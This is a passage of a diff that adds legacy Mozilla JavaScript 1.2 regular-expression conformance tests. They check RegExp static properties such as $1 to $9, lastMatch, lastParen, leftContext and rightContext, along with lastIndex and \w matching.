+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2",
+ 'bcdefgh', RegExp.$2);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3
+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3",
+ 'cdefg', RegExp.$3);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4
+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4",
+ 'def', RegExp.$4);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5
+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5",
+ 'e', RegExp.$5);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6
+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6",
+ '', RegExp.$6);
+
+var a_to_z = 'abcdefghijklmnopqrstuvwxyz';
+var regexp1 = /(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/
+ // 'abcdefghijklmnopqrstuvwxyz'.match(/(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/); RegExp.$1
+ a_to_z.match(regexp1);
+
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$1",
+ 'a', RegExp.$1);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$2",
+ 'c', RegExp.$2);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$3",
+ 'e', RegExp.$3);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$4",
+ 'g', RegExp.$4);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$5",
+ 'i', RegExp.$5);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$6",
+ 'k', RegExp.$6);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$7",
+ 'm', RegExp.$7);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$8",
+ 'o', RegExp.$8);
+new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$9",
+ 'q', RegExp.$9);
+/*
+ new TestCase ( SECTION, "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$10",
+ 's', RegExp.$10);
+*/
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_lastIndex.js b/js/src/tests/js1_2/regexp/RegExp_lastIndex.js
new file mode 100644
index 000000000..a8ace2542
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_lastIndex.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastIndex.js
+ Description: 'Tests RegExps lastIndex property'
+
+ Author: Nick Lerissa
+ Date: March 17, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'RegExp: lastIndex';
+var BUGNUMBER="123802";
+
+startTest();
+writeHeaderToLog('Executing script: RegExp_lastIndex.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// re=/x./g; re.lastIndex=4; re.exec('xyabcdxa');
+re=/x./g;
+re.lastIndex=4;
+new TestCase ( SECTION, "re=/x./g; re.lastIndex=4; re.exec('xyabcdxa')",
+ '["xa"]', String(re.exec('xyabcdxa')));
+
+// re.lastIndex
+new TestCase ( SECTION, "re.lastIndex",
+ 8, re.lastIndex);
+
+// re.exec('xyabcdef');
+new TestCase ( SECTION, "re.exec('xyabcdef')",
+ null, re.exec('xyabcdef'));
+
+// re.lastIndex
+new TestCase ( SECTION, "re.lastIndex",
+ 0, re.lastIndex);
+
+// re.exec('xyabcdef');
+new TestCase ( SECTION, "re.exec('xyabcdef')",
+ '["xy"]', String(re.exec('xyabcdef')));
+
+// re.lastIndex=30; re.exec('123xaxbxc456');
+re.lastIndex=30;
+new TestCase ( SECTION, "re.lastIndex=30; re.exec('123xaxbxc456')",
+ null, re.exec('123xaxbxc456'));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_lastMatch.js b/js/src/tests/js1_2/regexp/RegExp_lastMatch.js
new file mode 100644
index 000000000..a525d1cbe
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_lastMatch.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch.js
+ Description: 'Tests RegExps lastMatch property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: lastMatch';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp.lastMatch
+'foo'.match(/foo/);
+new TestCase ( SECTION, "'foo'.match(/foo/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'foo'.match(new RegExp('foo')); RegExp.lastMatch
+'foo'.match(new RegExp('foo'));
+new TestCase ( SECTION, "'foo'.match(new RegExp('foo')); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/bar/); RegExp.lastMatch
+'xxx'.match(/bar/);
+new TestCase ( SECTION, "'xxx'.match(/bar/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/$/); RegExp.lastMatch
+'xxx'.match(/$/);
+new TestCase ( SECTION, "'xxx'.match(/$/); RegExp.lastMatch",
+ '', RegExp.lastMatch);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( SECTION, "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch",
+ 'abcdefg', RegExp.lastMatch);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp.lastMatch
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( SECTION, "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp.lastMatch",
+ 'abcdefgabcdefg', RegExp.lastMatch);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_lastMatch_as_array.js b/js/src/tests/js1_2/regexp/RegExp_lastMatch_as_array.js
new file mode 100644
index 000000000..48405ae6f
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_lastMatch_as_array.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch_as_array.js
+ Description: 'Tests RegExps $& property (same tests as RegExp_lastMatch.js but using $&)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: $&';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp['$&']
+'foo'.match(/foo/);
+new TestCase ( SECTION, "'foo'.match(/foo/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'foo'.match(new RegExp('foo')); RegExp['$&']
+'foo'.match(new RegExp('foo'));
+new TestCase ( SECTION, "'foo'.match(new RegExp('foo')); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'xxx'.match(/bar/); RegExp['$&']
+'xxx'.match(/bar/);
+new TestCase ( SECTION, "'xxx'.match(/bar/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'xxx'.match(/$/); RegExp['$&']
+'xxx'.match(/$/);
+new TestCase ( SECTION, "'xxx'.match(/$/); RegExp['$&']",
+ '', RegExp['$&']);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( SECTION, "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']",
+ 'abcdefg', RegExp['$&']);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp['$&']
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( SECTION, "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp['$&']",
+ 'abcdefgabcdefg', RegExp['$&']);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_lastParen.js b/js/src/tests/js1_2/regexp/RegExp_lastParen.js
new file mode 100644
index 000000000..81c106ab8
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_lastParen.js
@@ -0,0 +1,68 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen.js
+ Description: 'Tests RegExps lastParen property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: lastParen';
+
+writeHeaderToLog('Executing script: RegExp_lastParen.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp.lastParen
+'abcd'.match(/(abc)d/);
+new TestCase ( SECTION, "'abcd'.match(/(abc)d/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen
+'abcd'.match(new RegExp('(abc)d'));
+new TestCase ( SECTION, "'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(/(bcd)e/); RegExp.lastParen
+'abcd'.match(/(bcd)e/);
+new TestCase ( SECTION, "'abcd'.match(/(bcd)e/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( SECTION, "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen",
+ 'd', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( SECTION, "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen",
+ 'e', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^)abc/); RegExp.lastParen
+'abcdefg'.match(/(^)abc/);
+new TestCase ( SECTION, "'abcdefg'.match(/(^)abc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp.lastParen
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( SECTION, "'abcdefg'.match(/(^a)bc/); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(/bc/); RegExp.lastParen
+'abcdefg'.match(/bc/);
+new TestCase ( SECTION, "'abcdefg'.match(/bc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_lastParen_as_array.js b/js/src/tests/js1_2/regexp/RegExp_lastParen_as_array.js
new file mode 100644
index 000000000..68bf35029
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_lastParen_as_array.js
@@ -0,0 +1,68 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen_as_array.js
+ Description: 'Tests RegExps $+ property (same tests as RegExp_lastParen.js but using $+)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: $+';
+
+writeHeaderToLog('Executing script: RegExp_lastParen_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp['$+']
+'abcd'.match(/(abc)d/);
+new TestCase ( SECTION, "'abcd'.match(/(abc)d/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcd'.match(/(bcd)e/); RegExp['$+']
+'abcd'.match(/(bcd)e/);
+new TestCase ( SECTION, "'abcd'.match(/(bcd)e/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( SECTION, "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']
+'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)'));
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( SECTION, "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']",
+ 'e', RegExp['$+']);
+
+// 'abcdefg'.match(/(^)abc/); RegExp['$+']
+'abcdefg'.match(/(^)abc/);
+new TestCase ( SECTION, "'abcdefg'.match(/(^)abc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp['$+']
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( SECTION, "'abcdefg'.match(/(^a)bc/); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(/bc/); RegExp['$+']
+'abcdefg'.match(/bc/);
+new TestCase ( SECTION, "'abcdefg'.match(/bc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_leftContext.js b/js/src/tests/js1_2/regexp/RegExp_leftContext.js
new file mode 100644
index 000000000..2fdb38975
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_leftContext.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext.js
+ Description: 'Tests RegExps leftContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: leftContext';
+
+writeHeaderToLog('Executing script: RegExp_leftContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.leftContext
+'abc123xyz'.match(/123/);
+new TestCase ( SECTION, "'abc123xyz'.match(/123/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/456/); RegExp.leftContext
+'abc123xyz'.match(/456/);
+new TestCase ( SECTION, "'abc123xyz'.match(/456/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.leftContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( SECTION, "'abc123xyz'.match(/abc123xyz/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(/$/); RegExp.leftContext
+'xxxx'.match(/$/);
+new TestCase ( SECTION, "'xxxx'.match(/$/); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(/^/); RegExp.leftContext
+'test'.match(/^/);
+new TestCase ( SECTION, "'test'.match(/^/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.leftContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( SECTION, "'xxxx'.match(new RegExp('$')); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(new RegExp('^')); RegExp.leftContext
+'test'.match(new RegExp('^'));
+new TestCase ( SECTION, "'test'.match(new RegExp('^')); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_leftContext_as_array.js b/js/src/tests/js1_2/regexp/RegExp_leftContext_as_array.js
new file mode 100644
index 000000000..ffde0f7c3
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_leftContext_as_array.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext_as_array.js
+ Description: 'Tests RegExps leftContext property (same tests as RegExp_leftContext.js but using $`)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: $`';
+
+writeHeaderToLog('Executing script: RegExp_leftContext_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$`']
+'abc123xyz'.match(/123/);
+new TestCase ( SECTION, "'abc123xyz'.match(/123/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/456/); RegExp['$`']
+'abc123xyz'.match(/456/);
+new TestCase ( SECTION, "'abc123xyz'.match(/456/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$`']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( SECTION, "'abc123xyz'.match(/abc123xyz/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(/$/); RegExp['$`']
+'xxxx'.match(/$/);
+new TestCase ( SECTION, "'xxxx'.match(/$/); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(/^/); RegExp['$`']
+'test'.match(/^/);
+new TestCase ( SECTION, "'test'.match(/^/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$`']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( SECTION, "'xxxx'.match(new RegExp('$')); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(new RegExp('^')); RegExp['$`']
+'test'.match(new RegExp('^'));
+new TestCase ( SECTION, "'test'.match(new RegExp('^')); RegExp['$`']",
+ '', RegExp['$`']);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_object.js b/js/src/tests/js1_2/regexp/RegExp_object.js
new file mode 100644
index 000000000..4c39474ea
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_object.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_object.js
+ Description: 'Tests regular expressions creating RexExp Objects'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: object';
+
+writeHeaderToLog('Executing script: RegExp_object.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var SSN_pattern = new RegExp("\\d{3}-\\d{2}-\\d{4}");
+
+// testing SSN pattern
+new TestCase ( SECTION, "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+// testing SSN pattern
+new TestCase ( SECTION, "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+var PHONE_pattern = new RegExp("\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})");
+// testing PHONE pattern
+new TestCase ( SECTION, "'Our phone number is (408)345-2345.'.match(PHONE_pattern))",
+ String(["(408)345-2345","408","345","2345"]), String('Our phone number is (408)345-2345.'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( SECTION, "'The phone number is 408-345-2345!'.match(PHONE_pattern))",
+ String(["408-345-2345","408","345","2345"]), String('The phone number is 408-345-2345!'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( SECTION, "String(PHONE_pattern.toString())",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/", String(PHONE_pattern.toString()));
+
+// testing conversion to String
+new TestCase ( SECTION, "PHONE_pattern + ' is the string'",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/ is the string",PHONE_pattern + ' is the string');
+
+// testing conversion to int
+new TestCase ( SECTION, "SSN_pattern - 8",
+ NaN,SSN_pattern - 8);
+
+var testPattern = new RegExp("(\\d+)45(\\d+)90");
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_rightContext.js b/js/src/tests/js1_2/regexp/RegExp_rightContext.js
new file mode 100644
index 000000000..f618cedf3
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_rightContext.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext.js
+ Description: 'Tests RegExps rightContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: rightContext';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.rightContext
+'abc123xyz'.match(/123/);
+new TestCase ( SECTION, "'abc123xyz'.match(/123/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/456/); RegExp.rightContext
+'abc123xyz'.match(/456/);
+new TestCase ( SECTION, "'abc123xyz'.match(/456/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.rightContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( SECTION, "'abc123xyz'.match(/abc123xyz/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'xxxx'.match(/$/); RegExp.rightContext
+'xxxx'.match(/$/);
+new TestCase ( SECTION, "'xxxx'.match(/$/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(/^/); RegExp.rightContext
+'test'.match(/^/);
+new TestCase ( SECTION, "'test'.match(/^/); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.rightContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( SECTION, "'xxxx'.match(new RegExp('$')); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(new RegExp('^')); RegExp.rightContext
+'test'.match(new RegExp('^'));
+new TestCase ( SECTION, "'test'.match(new RegExp('^')); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/RegExp_rightContext_as_array.js b/js/src/tests/js1_2/regexp/RegExp_rightContext_as_array.js
new file mode 100644
index 000000000..24c4ae069
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_rightContext_as_array.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext_as_array.js
+ Description: 'Tests RegExps $\' property (same tests as RegExp_rightContext.js but using $\)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: $\'';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$\'']
+'abc123xyz'.match(/123/);
+new TestCase ( SECTION, "'abc123xyz'.match(/123/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/456/); RegExp['$\'']
+'abc123xyz'.match(/456/);
+new TestCase ( SECTION, "'abc123xyz'.match(/456/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$\'']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( SECTION, "'abc123xyz'.match(/abc123xyz/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'xxxx'.match(/$/); RegExp['$\'']
+'xxxx'.match(/$/);
+new TestCase ( SECTION, "'xxxx'.match(/$/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(/^/); RegExp['$\'']
+'test'.match(/^/);
+new TestCase ( SECTION, "'test'.match(/^/); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$\'']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( SECTION, "'xxxx'.match(new RegExp('$')); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(new RegExp('^')); RegExp['$\'']
+'test'.match(new RegExp('^'));
+new TestCase ( SECTION, "'test'.match(new RegExp('^')); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/alphanumeric.js b/js/src/tests/js1_2/regexp/alphanumeric.js
new file mode 100644
index 000000000..1dc3fb2e3
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/alphanumeric.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: alphanumeric.js
+ Description: 'Tests regular expressions with \w and \W special characters'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\w and \\W';
+
+writeHeaderToLog('Executing script: alphanumeric.js');
+writeHeaderToLog( SECTION + " " + TITLE);
+
+var non_alphanumeric = "~`!@#$%^&*()-+={[}]|\\:;'<,>./?\f\n\r\t\v " + '"';
+var alphanumeric = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
+
+// be sure all alphanumerics are matched by \w
+new TestCase ( SECTION,
+ "'" + alphanumeric + "'.match(new RegExp('\\w+'))",
+ String([alphanumeric]), String(alphanumeric.match(new RegExp('\\w+'))));
+
+// be sure all non-alphanumerics are matched by \W
